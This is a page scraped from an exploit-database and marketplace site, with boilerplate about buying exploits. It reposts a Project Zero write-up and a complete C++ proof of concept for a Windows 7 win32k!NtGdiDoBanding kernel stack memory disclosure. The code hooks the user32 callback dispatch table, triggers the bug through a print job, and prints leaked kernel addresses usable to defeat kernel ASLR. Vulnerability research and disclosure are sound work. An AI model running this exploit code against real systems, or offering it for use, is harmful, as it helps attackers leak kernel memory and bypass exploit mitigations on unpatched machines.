0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Microsoft Windows Kernel - win32k!NtGdiDoBanding Stack Memory Disclosure Exploit
Author
Risk
[
Security Risk High
]0day-ID
Category
Date add
CVE
Platform
/* Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1304 We have discovered that the win32k!NtGdiDoBanding system call discloses portions of uninitialized kernel stack memory to user-mode clients. More specifically, exactly 8 bytes of uninitialized kernel stack memory are copied to ring-3 in one of two execution contexts (unique stack traces): --- 1 --- #0 win32k.sys!memcpy+00000033 #1 win32k.sys!UMPDOBJ::ThunkMemBlock+00000047 #2 win32k.sys!UMPDDrvStartBanding+000000b1 #3 win32k.sys!GreDoBanding+000000ad #4 win32k.sys!NtGdiDoBanding+0000001f #5 ntoskrnl.exe!KiSystemServicePostCall+00000000 --- 1 --- ... and ... --- 2 --- #0 win32k.sys!memcpy+00000033 #1 win32k.sys!UMPDOBJ::ThunkMemBlock+00000047 #2 win32k.sys!UMPDDrvNextBand+000000b1 #3 win32k.sys!GreDoBanding+0000011e #4 win32k.sys!NtGdiDoBanding+0000001f #5 ntoskrnl.exe!KiSystemServicePostCall+00000000 --- 2 --- The names and offsets are specific to Windows 7 32-bit from February 2017, as symbols for the latest win32k.sys are not available from the Microsoft Symbol Server at the moment. The leaked bytes origin from the stack frame of the win32k!NtGdiDoBanding function (top-level syscall handler), and a pointer to the uninitialized buffer is passed down to win32k!GreDoBanding in the third argument. The attached proof-of-concept program can be used to reproduce the vulnerability on Windows 7 32-bit. On our test virtual machine, the output is as follows: --- cut --- [+] Leaked data: 00000bf8 00460000 [+] Leaked data: ff9ed130 969e68ad [+] Leaked data: ff9ed130 969e68ad [+] Leaked data: ff9ed130 969e68ad ... --- cut --- As it turns out, 0xff9ed130 is a valid paged session pool address, and 0x969e68ad is a valid code address within win32k.sys: --- cut --- 3: kd> !pool ff9ed130 Pool page ff9ed130 region is Paged session pool ff9ed000 size: 118 previous size: 0 (Allocated) Usqu *ff9ed118 size: ee8 previous size: 118 (Allocated) *GDev Pooltag GDev : Gdi pdev 3: kd> u 969e68ad win32k!EngReleaseSemaphore+0x2f6: 969e68ad c3 ret 969e68ae 90 nop 969e68af 90 nop 969e68b0 90 nop 969e68b1 90 nop 969e68b2 90 nop 969e68b3 8bff mov edi,edi 969e68b5 55 push ebp --- cut --- Repeatedly triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space. */ #include <Windows.h> #include <cstdio> namespace globals { LPVOID(WINAPI *OrigClientPrinterThunk)(LPVOID); } // namespace globals PVOID *GetUser32DispatchTable() { __asm { mov eax, fs:30h mov eax, [eax + 0x2c] } } BOOL HookUser32DispatchFunction(UINT Index, PVOID lpNewHandler, PVOID *lpOrigHandler) { PVOID *DispatchTable = GetUser32DispatchTable(); DWORD OldProtect; if (!VirtualProtect(DispatchTable, 0x1000, PAGE_READWRITE, &OldProtect)) { printf("VirtualProtect#1 failed, %d\n", GetLastError()); return FALSE; } *lpOrigHandler = DispatchTable[Index]; DispatchTable[Index] = lpNewHandler; if (!VirtualProtect(DispatchTable, 0x1000, OldProtect, &OldProtect)) { printf("VirtualProtect#2 failed, %d\n", GetLastError()); return FALSE; } return TRUE; } LPVOID WINAPI ClientPrinterThunkHook(LPVOID Data) { LPDWORD DwordData = (LPDWORD)Data; if (DwordData[0] == 0x1c && (DwordData[1] == 0x39 || DwordData[1] == 0x3a)) { LPDWORD LeakedData = (LPDWORD)DwordData[6]; printf("[+] Leaked data: %.8x %.8x\n", LeakedData[0], LeakedData[1]); } return globals::OrigClientPrinterThunk(Data); } int main() { // Hook the user32!ClientPrinterThunk callback. if (!HookUser32DispatchFunction(93, ClientPrinterThunkHook, (PVOID *)&globals::OrigClientPrinterThunk)) { printf("Hooking ClientPrinterThunk failed.\n"); return 1; } // Obtain a print job DC. PRINTDLGA pd = { 0 }; pd.lStructSize = sizeof(pd); pd.Flags = PD_RETURNDEFAULT | PD_ALLPAGES | PD_RETURNDC | PD_PRINTTOFILE; pd.nFromPage = 1; pd.nToPage = 1; pd.nCopies = 1; if (!PrintDlgA(&pd)) { printf("PrintDlgA failed.\n"); return 1; } // Initialize the print job. DOCINFOA doc_info = { 0 }; doc_info.cbSize = sizeof(doc_info); doc_info.lpszDocName = "Document"; doc_info.lpszOutput = "C:\\Windows\\Temp\\output"; if (StartDocA(pd.hDC, &doc_info) <= 0) { printf("StartDoc failed.\n"); return 1; } if (StartPage(pd.hDC) <= 0) { printf("StartPage failed.\n"); return 1; } // // The bug is triggered here. // EndPage(pd.hDC); // Free resources. EndDoc(pd.hDC); DeleteDC(pd.hDC); return 0; } # 0day.today [2024-12-25] #